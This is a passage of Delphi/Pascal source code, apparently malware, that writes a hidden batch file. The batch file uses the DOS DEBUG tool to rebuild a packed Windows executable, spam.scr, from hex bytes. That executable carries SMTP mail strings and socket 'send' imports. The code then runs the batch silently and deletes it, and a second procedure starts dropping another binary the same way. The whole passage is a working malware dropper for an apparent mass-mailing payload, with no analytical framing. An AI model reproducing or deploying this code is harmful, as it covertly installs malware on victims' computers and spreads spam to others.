writeln(f,\'echo e 3040 B8 AA 47 91 FA 03 B9 05 E5 32 0C E4 64 74 B9 BA>>spam\');
writeln(f,\'echo e 3050 37 58 C9 91 8D 1C 4B BB DC 90 58 21 CB 2B 79 90>>spam\');
writeln(f,\'echo e 3060 58 CA 58 20 F9 02 46 13 06 B3 07 0C 06 A3 41 06>>spam\');
writeln(f,\'echo e 3070 10 14 DB 18 C2 1F 91 41 1C 33 45 6E 67 0E 12 9A>>spam\');
writeln(f,\'echo e 3080 8C D7 65 9F 2F 57 22 30 84 86 BC 88 59 1B B2 8B>>spam\');
writeln(f,\'echo e 3090 16 B2 B9 68 29 63 59 4A 70 92 58 EC 3D 2C 06 EC>>spam\');
writeln(f,\'echo e 30A0 A7 6F DC 38 70 0C 88 EB 12 FF 37 67 E4 8B D0 48>>spam\');
writeln(f,\'echo e 30B0 06 0B 04 FF 22 CC 43 8B 3C 9E 29 E7 F2 E4 2E 84>>spam\');
writeln(f,\'echo e 30C0 01 FF 8F 5D 21 4A 32 24 0F F0 63 A1 38 C5 1F 8B>>spam\');
writeln(f,\'echo e 30D0 30 8B 39 89 D8 23 7F 14 6F C2 81 45 18 8D 0D CC>>spam\');
writeln(f,\'echo e 30E0 70 03 23 D4 36 CA 31 DB 13 D2 58 3B AA BE 6D 41>>spam\');
writeln(f,\'echo e 30F0 F6 F9 FF 05 66 AD 88 C3 FC 02 FF 5F A3 8A 14 19>>spam\');
writeln(f,\'echo e 3100 88 E7 80 E7 0F 66 C1 C0 04 F8 E0 3F 8A 34 01 EB>>spam\');
writeln(f,\'echo e 3110 6E ED 0B 2F D0 66 AB AC 1D 12 EB 06 1E 80 14 8D>>spam\');
writeln(f,\'echo e 3120 7F 1B 76 30 E4 16 22 7D F6 13 75 0C 66 B8 35 43>>spam\');
writeln(f,\'echo e 3130 5D 1A 73 0C 4C FF 50 75 AE 8C 00 EE DB D9 4A 69>>spam\');
writeln(f,\'echo e 3140 AC 38 E0 06 88 E3 3A 95 EF 5D 6B 40 FE 0D 02 80>>spam\');
writeln(f,\'echo e 3150 E4 03 15 04 6B ED CA BF 5F 19 C1 E2 10 C0 E8 02>>spam\');
writeln(f,\'echo e 3160 20 B6 3D 37 0B EF DB 2D 36 16 0E B2 3D 65 C1 C8>>spam\');
writeln(f,\'echo e 3170 10 AB DA 3A 60 59 01 2B 03 C6 E6 73 10 04 C0 B4>>spam\');
writeln(f,\'echo e 3180 E5 33 3E C8 F6 02 9C C1 E1 02 0F BD F5 85 D2 76>>spam\');
writeln(f,\'echo e 3190 60 6F 51 82 7A DC C1 BD 14 11 46 22 36 E0 03 C8>>spam\');
writeln(f,\'echo e 31A0 39 D1 32 C6 47 DF 47 11 97 2A C7 09 A0 21 1D 83>>spam\');
writeln(f,\'echo e 31B0 8F 80 A5 C4 06 49 94 60 80 9B 41 91 77 E7 83 43>>spam\');
writeln(f,\'echo e 31C0 41 4E 48 5B 4E 07 D8 A0 77 38 50 97 4D CB 04 27>>spam\');
writeln(f,\'echo e 31D0 A1 FC 47 F3 14 40 75 04 B3 01 EB 02 BF 4F 5B 66>>spam\');
writeln(f,\'echo e 31E0 50 6D 25 B6 3B 54 5B 31 03 E3 0F 1E 37 F5 DF A8>>spam\');
writeln(f,\'echo e 31F0 B7 55 01 7C 0B 8A 04 1E 2C 3A 60 22 75 EF BC C1>>spam\');
writeln(f,\'echo e 3200 E0 F6 57 8D 53 01 B9 B9 FF 60 18 A0 BB 44 E6 60>>spam\');
writeln(f,\'echo e 3210 B3 F0 F7 F6 8D F4 08 90 53 F6 9A 05 0E B2 71 5C>>spam\');
writeln(f,\'echo e 3220 83 07 E6 D6 CD FB F7 81 F3 6C F6 0A 14 DB 0B 16>>spam\');
writeln(f,\'echo e 3230 BC BC 76 B6 3F 3C FC 40 74 42 12 F4 06 51 0C 30>>spam\');
writeln(f,\'echo e 3240 F9 1A 62 36 B9 15 DE A1 22 C4 15 81 BA 69 A3 3D>>spam\');
writeln(f,\'echo e 3250 2B D6 71 31 DA 23 E0 B8 EE 19 CC 5A 91 01 3A 16>>spam\');
writeln(f,\'echo e 3260 F3 42 76 30 E4 1B 34 0D 78 5C 0B CE 83 E4 F0 F7>>spam\');
writeln(f,\'echo e 3270 8B C3 7B 71 F8 29 F7 B9 AC 24 C0 49 75 F9 36 B3>>spam\');
writeln(f,\'echo e 3280 FB 90 63 38 7B 60 C6 45 FF CF C4 FC 66 F0 83 FB>>spam\');
writeln(f,\'echo e 3290 56 0C B8 94 18 F9 18 40 50 E4 E0 9D 75 27 CD 09>>spam\');
writeln(f,\'echo e 32A0 5A B3 8D 28 5D 02 8E 6C A0 88 4D 46 A4 37 47 0C>>spam\');
writeln(f,\'echo e 32B0 13 37 AA 51 BD 70 65 03 7D 89 32 72 64 40 08 59>>spam\');
writeln(f,\'echo e 32C0 03 F7 34 F7 9E 0C 72 C0 FC 47 83 BD 11 30 52 F2>>spam\');
writeln(f,\'echo e 32D0 0C 4C 2A 05 A0 60 67 3B 21 B7 31 18 FD 6A 40 A6>>spam\');
writeln(f,\'echo e 32E0 C8 83 60 D5 7D 0D 34 D0 01 55 23 A4 2B F7 52 84>>spam\');
writeln(f,\'echo e 32F0 C7 85 08 2D 43 19 10 92 CD 1D 85 0A 0F 7B B8 C7>>spam\');
writeln(f,\'echo e 3300 30 DB 6B 8E 11 17 BC DB 48 D4 2D 60 F5 0A 87 0C>>spam\');
writeln(f,\'echo e 3310 6B 3B 9F 34 BC 9B 0C 6A 10 8D 53 E5 46 CC BA B8>>spam\');
writeln(f,\'echo e 3320 BB DC 1D 73 A5 34 4B 88 E3 84 75 02 68 C4 13 0C>>spam\');
writeln(f,\'echo e 3330 7A E7 82 F4 B0 FC 9D D4 E2 D8 6F C3 F4 FF B5 15>>spam\');
writeln(f,\'echo e 3340 68 D4 20 B4 FC E4 DB EC 42 14 B4 7F 56 4A E8 BA>>spam\');
writeln(f,\'echo e 3350 E0 7C BF 79 2E 1E EC FF 76 14 68 04 61 3D AC 9B>>spam\');
writeln(f,\'echo e 3360 57 C8 90 AC E0 01 10 61 32 24 83 3C 0C A8 A8 87>>spam\');
writeln(f,\'echo e 3370 99 CD 15 A2 BA 24 5D 34 6F E4 99 90 61 82 40 14>>spam\');
writeln(f,\'echo e 3380 D9 19 39 9B 6C 6A 50 0C 60 18 62 CF D3 3D 74 61>>spam\');
writeln(f,\'echo e 3390 04 90 CC DC 1B D8 73 40 37 BD 14 62 0D 04 25 90>>spam\');
writeln(f,\'echo e 33A0 76 BF DF 34 09 6C 62 A7 A0 FA 97 56 1C B6 90 0B>>spam\');
writeln(f,\'echo e 33B0 6F E9 23 7D 95 12 AC A0 FB 3C C1 39 77 4B 54 12>>spam\');
writeln(f,\'echo e 33C0 0C 2B B2 22 FC 9E EF F7 2C 65 A0 80 46 8C 62 EE>>spam\');
writeln(f,\'echo e 33D0 A4 16 2D DC 92 4B A4 5D 11 A9 63 07 9D A8 5F A1>>spam\');
writeln(f,\'echo e 33E0 14 7A C6 92 B6 80 93 05 17 36 65 DB 16 2E 36 26>>spam\');
writeln(f,\'echo e 33F0 6B 5B 13 34 24 D0 86 0D 58 23 02 11 78 16 50 FA>>spam\');
writeln(f,\'echo e 3400 C6 DC EB 15 C8 1F 15 59 16 34 33 C0 43 96 5B F8>>spam\');
writeln(f,\'echo e 3410 4A 70 32 7E 40 70 5F 36 38 98 BA BC AB 84 83 A6>>spam\');
writeln(f,\'echo e 3420 65 9F 74 21 BA D4 1B 9D 01 D6 DC 3B 6A 10 E7 51>>spam\');
writeln(f,\'echo e 3430 F7 0F 85 AD CD EB 19 63 B2 09 82 5B A0 0A 09 06>>spam\');
writeln(f,\'echo e 3440 6D 42 2E F8 8A 41 F5 8C 18 04 08 3B 40 53 C5 2E>>spam\');
writeln(f,\'echo e 3450 1C BD 53 65 0C E2 6C 3A 63 9B 31 E2 D1 53 03 32>>spam\');
writeln(f,\'echo e 3460 30 0B 05 D8 00 8B 37 48 45 4C 4F FB 27 20 FF 9F>>spam\');
writeln(f,\'echo e 3470 EC 35 30 4B 4D 41 49 4C 20 46 52 4F 4D 3A 20 3C>>spam\');
writeln(f,\'echo e 3480 B1 FF 8B 7C 3E 0D 0A 60 52 43 50 54 20 54 4F 21>>spam\');
writeln(f,\'echo e 3490 1F D8 CF 43 63 06 41 54 41 53 33 35 34 B3 B2 D1>>spam\');
writeln(f,\'echo e 34A0 64 1B 46 BA 6D 1B E2 39 7B 9B 04 54 6F 0D BF 09>>spam\');
writeln(f,\'echo e 34B0 75 7F BE D8 21 06 14 87 13 49 4D 45 2D 6F 25 68>>spam\');
writeln(f,\'echo e 34C0 A3 56 D8 73 E9 18 31 2E 30 BF 6D CD 60 7F 31 43>>spam\');
writeln(f,\'echo e 34D0 12 74 F2 74 2D 54 79 70 F8 FF 7F 43 D0 6D 75 6C>>spam\');
writeln(f,\'echo e 34E0 74 69 70 61 72 74 2F 6D 69 78 65 64 3B 20 62 6F>>spam\');
writeln(f,\'echo e 34F0 75 D8 6B FF 56 0F 0F 79 3D 22 62 6C 61 22 37 96>>spam\');
writeln(f,\'echo e 3500 3B 06 73 4D C0 07 0C 2D 14 4B 2E 8E 6E 5B 4A 0A>>spam\');
writeln(f,\'echo e 3510 78 46 70 6C 2D 7F 2B D5 6E 46 63 68 43 5C 95 75>>spam\');
writeln(f,\'echo e 3520 73 2D 61 73 63 CE 66 CB DE 69 69 48 C3 0D 57 05>>spam\');
writeln(f,\'echo e 3530 B7 43 C8 43 00 00 61 70 54 69 63 52 FF BB A0 61>>spam\');
writeln(f,\'echo e 3540 B6 2F 78 2D 73 68 6F 63 6B 77 61 B6 FB 86 6D ED>>spam\');
writeln(f,\'echo e 3550 2D 66 33 0C 3B 57 50 20 00 BB 84 E6 A8 6E A8 BC>>spam\');
writeln(f,\'echo e 3560 4B 22 AF FE FF 40 06 25 72 61 6E 73 66 65 72 2D>>spam\');
writeln(f,\'echo e 3570 45 6E 63 6F 64 06 EC 6D 5B 67 64 62 4B 65 36 34>>spam\');
writeln(f,\'echo e 3580 EF 0E 68 5B 8B C5 A7 99 04 08 2E 02 4F A0 F3 4B>>spam\');
writeln(f,\'echo e 3590 AF 51 55 49 54 8B 01 63 48 0E C8 24 E0 08 63 2C>>spam\');
writeln(f,\'echo e 35A0 C9 60 67 E0 37 33 31 EE 14 09 99 3A A7 11 B2 59>>spam\');
writeln(f,\'echo e 35B0 36 DB E4 4A 03 B4 80 48 18 C0 4C B3 6C 96 CD 90>>spam\');
writeln(f,\'echo e 35C0 34 4B 04 80 4D 50 A6 AE DC 54 3C 07 F4 57 40 33>>spam\');
writeln(f,\'echo e 35D0 DC 42 A4 4F C8 7D 00 14 0B EB 53 A1 10 EE 76 F0>>spam\');
writeln(f,\'echo e 35E0 84 7B 01 B8 3C 13 CD 7C C7 44 58 12 6F 05 47 19>>spam\');
writeln(f,\'echo e 35F0 3C 07 53 18 B8 9C E4 4B DE 0E 17 2C 0C 10 B8 02>>spam\');
writeln(f,\'echo e 3600 14 B8 03 31 E4 4B BE 0C B8 04 1C B8 05 83 3F B2>>spam\');
writeln(f,\'echo e 3610 2B 73 06 4C 7C 19 6C 5B E8 9C CC E5 0E 55 55 98>>spam\');
writeln(f,\'echo e 3620 00 32 13 25 73 00 AD F7 17 03 C4 A5 AB 83 00 5C>>spam\');
writeln(f,\'echo e 3630 1F D7 20 58 24 AF A1 FE 0B 96 75 6E 74 69 6D 65>>spam\');
writeln(f,\'echo e 3640 20 65 A7 20 00 50 AD 0A F2 61 74 20 30 0B B2 FF>>spam\');
writeln(f,\'echo e 3650 FF EE BF 07 30 31 32 33 34 35 36 37 38 39 41 42>>spam\');
writeln(f,\'echo e 3660 43 44 45 46 20 00 1D C2 DC A1 0D 0A 9B 00 04 4E>>spam\');
writeln(f,\'echo e 3670 A6 69 BA 12 F5 03 34 4C 64 FF FF FF 67 75 47 48>>spam\');
writeln(f,\'echo e 3680 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58>>spam\');
writeln(f,\'echo e 3690 59 5A 61 62 63 64 65 2F FB FF FF 66 67 68 69 6A>>spam\');
writeln(f,\'echo e 36A0 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A>>spam\');
writeln(f,\'echo e 36B0 B3 2B 2F E1 02 30 11 DD 34 AA 42 80 16 5E 15 55>>spam\');
writeln(f,\'echo e 36C0 95 C5 A2 01 00 A0 40 56 05 54 15 16 03 60 03 91>>spam\');
writeln(f,\'echo e 36D0 F9 A0 40 00 08 F5 10 B0 83 02 2A 03 F7 4F 14 11>>spam\');
writeln(f,\'echo e 36E0 60 03 06 00 44 66 73 37 FF 00 56 00 43 00 4C 00>>spam\');
writeln(f,\'echo e 36F0 41 0B 00 50 07 0D 4B FF 17 E2 FF 47 00 45 00 49>>spam\');
writeln(f,\'echo e 3700 00 4E 00 46 00 4F 98 A2 8C DF 98 7B 3C 3A 79 26>>spam\');
writeln(f,\'echo e 3710 71 5B 54 CD FF 3F 09 0F 2A 25 17 01 00 00 CC 08>>spam\');
writeln(f,\'echo e 3720 01 01 F6 B1 A8 9A 38 5F 02 00 1C A9 57 06 FB B7>>spam\');
writeln(f,\'echo e 3730 06 D4 53 8D 18 C7 53 79 73 74 65 6D 08 E5 CD F6>>spam\');
writeln(f,\'echo e 3740 66 81 49 6E 69 74 1C 4B 64 6F 77 73 C0 25 29 80>>spam\');
writeln(f,\'echo e 3750 3A 12 42 82 BA 4D 20 5F 09 DC 45 51 55 08 E1 75>>spam\');
writeln(f,\'echo e 3760 F3 07 A0 02 2C 00 A8 00 FE 2E 20 2E 8C 81 68 6F>>spam\');
writeln(f,\'echo e 3770 61 64 4C 69 62 72 10 B4 0D 00 5C 41 0D 79 DA FF>>spam\');
writeln(f,\'echo e 3780 5B AA 50 72 6F 63 41 64 64 72 65 73 73 26 74 45>>spam\');
writeln(f,\'echo e 3790 A2 A2 FD 54 6C 73 53 1B 46 9F 80 48 F2 0C 47 D9>>spam\');
writeln(f,\'echo e 37A0 41 6C 01 F1 8F B5 6C 06 3E 4D 6F 64 75 6C 65 48>>spam\');
writeln(f,\'echo e 37B0 68 07 6C 2B FA 05 41 11 46 69 03 63 7F 13 82 FD>>spam\');
writeln(f,\'echo e 37C0 54 A0 80 00 1C 43 D1 6E ED DB 75 72 69 6E 74 54>>spam\');
writeln(f,\'echo e 37D0 68 05 87 49 64 13 73 7F 6B 01 2F 15 65 43 72 69>>spam\');
writeln(f,\'echo e 37E0 74 69 57 73 36 E7 00 60 63 60 65 1E 76 41 4A FE>>spam\');
writeln(f,\'echo e 37F0 CA 15 45 6E 74 65 72 FB 2B BB 35 E9 69 0F 69 7A>>spam\');
writeln(f,\'echo e 3800 30 56 69 72 74 75 0F 2F 58 B2 6D 46 6D 65 0C BB>>spam\');
writeln(f,\'echo e 3810 C7 DA 60 21 7B 18 D2 24 51 EA B3 DB AD 15 20 0D>>spam\');
writeln(f,\'echo e 3820 F8 74 72 9F 6E 41 09 9D 10 06 EC 63 70 79 0A 41>>spam\');
writeln(f,\'echo e 3830 4C 45 78 3D 36 36 9B FD D9 51 65 10 53 74 61 08>>spam\');
writeln(f,\'echo e 3840 2B E1 D6 51 70 A4 66 6F 70 41 2F 9B BD 05 13 51>>spam\');
writeln(f,\'echo e 3850 45 4C 61 9F 70 88 6A 85 90 56 6F 6D 6D 05 7B 6F>>spam\');
writeln(f,\'echo e 3860 73 40 8B 6E 2E D5 96 BE B6 15 C2 0C 00 03 72 2D>>spam\');
writeln(f,\'echo e 3870 4F 41 62 9B DB CE 0F 43 EA 73 9D B3 69 8D EC EE>>spam\');
writeln(f,\'echo e 3880 19 C6 89 57 3B 73 17 55 6E 68 8D 9A 3B 6C 6D 64>>spam\');
writeln(f,\'echo e 3890 20 1B 70 49 17 1C C3 DA CF E1 6A 13 22 50 6F 44>>spam\');
writeln(f,\'echo e 38A0 0F 73 DB 67 B7 45 29 4F 66 37 52 74 6C 3A 77 5F>>spam\');
writeln(f,\'echo e 38B0 0A B2 76 30 83 04 14 61 69 6B 48 17 9B 0D 42 12>>spam\');
writeln(f,\'echo e 38C0 64 EE 0D 26 FD 10 33 C3 53 BC 1A C1 54 69 6D CD>>spam\');
writeln(f,\'echo e 38D0 0C CD 97 1B 54 79 70 43 56 9F 9A 8D 59 CC C3 BF>>spam\');
writeln(f,\'echo e 38E0 42 B3 B5 50 10 23 C2 76 73 67 B6 A8 6C D8 B7 EF>>spam\');
writeln(f,\'echo e 38F0 8F 11 4F 3C 6E 4B 65 79 0E 39 6B A7 D9 5C 0F 36>>spam\');
writeln(f,\'echo e 3900 C2 60 2E F9 EC 2D 18 5A 4A 42 D2 49 BA 0F E8 D0>>spam\');
writeln(f,\'echo e 3910 DE 36 5B 61 E1 90 4E 46 8B 45 8A 39 0E 45 2A D3>>spam\');
writeln(f,\'echo e 3920 6C ED 2C 11 4C 5D 4A CF 40 E1 6C DB B9 B1 5B 62>>spam\');
writeln(f,\'echo e 3930 6F 38 64 B5 4D 5A 04 B0 FD BE 61 67 65 42 6F 7E>>spam\');
writeln(f,\'echo e 3940 43 68 17 4E DF 4F B3 2D 9D 41 31 DA 98 57 53 41>>spam\');
writeln(f,\'echo e 3950 68 6E 85 60 C4 1A 20 0B 2C 0A 27 33 2C 97 67 68>>spam\');
writeln(f,\'echo e 3960 6F 6E FF 0C 62 79 77 AD 11 67 0E 73 EC 11 07 65>>spam\');
writeln(f,\'echo e 3970 6E 64 2F 38 BE C9 74 6F 05 6C F5 D4 72 65 63 F6>>spam\');
writeln(f,\'echo e 3980 D6 66 CB 76 66 6D 09 05 C9 6F 68 73 34 3B 86 15>>spam\');
writeln(f,\'echo e 3990 CA 69 9D 39 26 74 5F D9 1C 83 75 18 61 0A 61 8E>>spam\');
writeln(f,\'echo e 39A0 29 68 1D C6 B6 66 6E 63 05 6E 49 63 2B 01 CB 83>>spam\');
writeln(f,\'echo e 39B0 9B 32 AE 65 45 4C 1F 04 F8 16 4C 19 5E 42 2A 33>>spam\');
writeln(f,\'echo e 39C0 E0 00 8F 81 65 39 B2 FC 0B 01 02 19 00 54 14 84>>spam\');
writeln(f,\'echo e 39D0 63 10 30 77 76 68 C8 19 0B 02 ED 33 EF 4D B6 6C>>spam\');
writeln(f,\'echo e 39E0 04 3C 0C 03 04 28 2E 9B 4D BE 40 33 10 09 00 90>>spam\');
writeln(f,\'echo e 39F0 A6 6C D6 DC 07 AE 06 D0 4F 00 C0 2C 47 D8 D9 4F>>spam\');
writeln(f,\'echo e 3A00 F0 02 B0 18 77 7E 15 02 EC 43 4F 44 45 E3 38 86>>spam\');
writeln(f,\'echo e 3A10 EC BD 90 07 67 20 4D DE FB 5C 01 40 0B 18 E8 FB>>spam\');
writeln(f,\'echo e 3A20 CF 9B 0B FB A3 58 A5 40 42 53 53 00 E5 7C 65 83>>spam\');
writeln(f,\'echo e 3A30 7C 43 80 5A CD 2E 69 64 95 74 83 6D F3 61 F3 90>>spam\');
writeln(f,\'echo e 3A40 27 08 6D 02 19 CE 40 D9 1C 4F 93 01 64 90 A0 62>>spam\');
writeln(f,\'echo e 3A50 72 4D C9 D9 84 18 0B 9F 62 50 E9 4E 38 B0 27 65>>spam\');
writeln(f,\'echo e 3A60 0B 4B C0 27 06 F0 DC 03 A4 64 73 72 26 47 DF 6F>>spam\');
writeln(f,\'echo e 3A70 65 97 93 6A 27 1B E0 91 0D 45 00 00 00 E0 D4 00>>spam\');
writeln(f,\'echo e 3A80 00 00 90 00 00 FF 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3A90 60 BE 00 C0 40 00 8D BE 00 50 FF FF 57 83 CD FF>>spam\');
writeln(f,\'echo e 3AA0 EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB>>spam\');
writeln(f,\'echo e 3AB0 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00>>spam\');
writeln(f,\'echo e 3AC0 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73>>spam\');
writeln(f,\'echo e 3AD0 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8>>spam\');
writeln(f,\'echo e 3AE0 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5>>spam\');
writeln(f,\'echo e 3AF0 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75>>spam\');
writeln(f,\'echo e 3B00 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75>>spam\');
writeln(f,\'echo e 3B10 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09>>spam\');
writeln(f,\'echo e 3B20 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3>>spam\');
writeln(f,\'echo e 3B30 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42>>spam\');
writeln(f,\'echo e 3B40 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2>>spam\');
writeln(f,\'echo e 3B50 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF>>spam\');
writeln(f,\'echo e 3B60 FF FF 5E 89 F7 B9 93 02 00 00 8A 07 47 2C E8 3C>>spam\');
writeln(f,\'echo e 3B70 01 77 F7 80 3F 00 75 F2 8B 07 8A 5F 04 66 C1 E8>>spam\');
writeln(f,\'echo e 3B80 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83>>spam\');
writeln(f,\'echo e 3B90 C7 05 89 D8 E2 D9 8D BE 00 D0 00 00 8B 07 09 C0>>spam\');
writeln(f,\'echo e 3BA0 74 3C 8B 5F 04 8D 84 30 B0 F0 00 00 01 F3 50 83>>spam\');
writeln(f,\'echo e 3BB0 C7 08 FF 96 28 F1 00 00 95 8A 07 47 08 C0 74 DC>>spam\');
writeln(f,\'echo e 3BC0 89 F9 57 48 F2 AE 55 FF 96 2C F1 00 00 09 C0 74>>spam\');
writeln(f,\'echo e 3BD0 07 89 03 83 C3 04 EB E1 FF 96 30 F1 00 00 61 E9>>spam\');
writeln(f,\'echo e 3BE0 A0 6C FF FF FC F6 40 00 04 F7 40 00 BC 84 40 00>>spam\');
writeln(f,\'echo e 3BF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3C90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3CA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3CB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3CC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3CD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3CE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3CF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3D00 00 00 00 00 07 85 D9 32 00 00 00 00 00 00 01 00>>spam\');
writeln(f,\'echo e 3D10 0A 00 00 00 18 00 00 80 00 00 00 00 07 85 D9 32>>spam\');
writeln(f,\'echo e 3D20 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80>>spam\');
writeln(f,\'echo e 3D30 96 00 00 80 60 00 00 80 00 00 00 00 07 85 D9 32>>spam\');
writeln(f,\'echo e 3D40 00 00 00 00 00 00 01 00 00 00 00 00 50 00 00 00>>spam\');
writeln(f,\'echo e 3D50 B0 D0 00 00 10 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3D60 00 00 00 00 07 85 D9 32 00 00 00 00 00 00 01 00>>spam\');
writeln(f,\'echo e 3D70 00 00 00 00 78 00 00 00 C0 D0 00 00 60 00 00 00>>spam\');
writeln(f,\'echo e 3D80 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00>>spam\');
writeln(f,\'echo e 3D90 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00>>spam\');
writeln(f,\'echo e 3DA0 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 56 04>>spam\');
writeln(f,\'echo e 3DB0 00 00 00 00 00 00 00 00 00 00 00 00 58 01 01 00>>spam\');
writeln(f,\'echo e 3DC0 28 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3DD0 65 01 01 00 38 01 01 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3DE0 00 00 00 00 72 01 01 00 40 01 01 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3DF0 00 00 00 00 00 00 00 00 7F 01 01 00 48 01 01 00>>spam\');
writeln(f,\'echo e 3E00 00 00 00 00 00 00 00 00 00 00 00 00 8A 01 01 00>>spam\');
writeln(f,\'echo e 3E10 50 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3E20 00 00 00 00 00 00 00 00 96 01 01 00 A4 01 01 00>>spam\');
writeln(f,\'echo e 3E30 B4 01 01 00 00 00 00 00 C2 01 01 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3E40 D0 01 01 00 00 00 00 00 DE 01 01 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3E50 EA 01 01 00 00 00 00 00 4B 45 52 4E 45 4C 33 32>>spam\');
writeln(f,\'echo e 3E60 2E 44 4C 4C 00 61 64 76 61 70 69 33 32 2E 64 6C>>spam\');
writeln(f,\'echo e 3E70 6C 00 6F 6C 65 61 75 74 33 32 2E 64 6C 6C 00 75>>spam\');
writeln(f,\'echo e 3E80 73 65 72 33 32 2E 64 6C 6C 00 77 73 6F 63 6B 33>>spam\');
writeln(f,\'echo e 3E90 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72>>spam\');
writeln(f,\'echo e 3EA0 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64>>spam\');
writeln(f,\'echo e 3EB0 72 65 73 73 00 00 45 78 69 74 50 72 6F 63 65 73>>spam\');
writeln(f,\'echo e 3EC0 73 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00>>spam\');
writeln(f,\'echo e 3ED0 00 00 56 61 72 69 61 6E 74 43 6C 65 61 72 00 00>>spam\');
writeln(f,\'echo e 3EE0 43 68 61 72 4E 65 78 74 41 00 00 00 73 65 6E 64>>spam\');
writeln(f,\'echo e 3EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 3F00 00>>spam\');
writeln(f,\'echo rcx>>spam\');
writeln(f,\'echo 3E00>>spam\');
writeln(f,\'echo nc:\\spam.scr>>spam\');
writeln(f,\'echo w>>spam\');
writeln(f,\'echo q>>spam\');
writeln(f,\'debug < spam\');
closefile(f);
if xp then
begin
WinExec(\'Cmd.exe /c c:\\spam.bat\',SW_HIDE);
end
else
begin
WinExec(\'Command.com c:\\spam.bat\',SW_HIDE);
end;
sleep(20000);
deleteFile(\'c:\\spam.bat\');
end;
procedure SacaSpam;
var
f:textfile;
begin
Assignfile(f,\'c:\\spam.bat\');
rewrite(f);
writeln(f,\'@ECHO OFF\');
writeln(f,\'echo e 0100 4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00>>spam\');
writeln(f,\'echo e 0110 B8 00 00 00 00 00 00 00 40 00 1A 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00>>spam\');
writeln(f,\'echo e 0140 BA 10 00 0E 1F B4 09 CD 21 B8 01 4C CD 21 90 90>>spam\');
writeln(f,\'echo e 0150 54 68 69 73 20 70 72 6F 67 72 61 6D 20 6D 75 73>>spam\');
writeln(f,\'echo e 0160 74 20 62 65 20 72 75 6E 20 75 6E 64 65 72 20 57>>spam\');
writeln(f,\'echo e 0170 69 6E 33 32 0D 0A 24 37 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
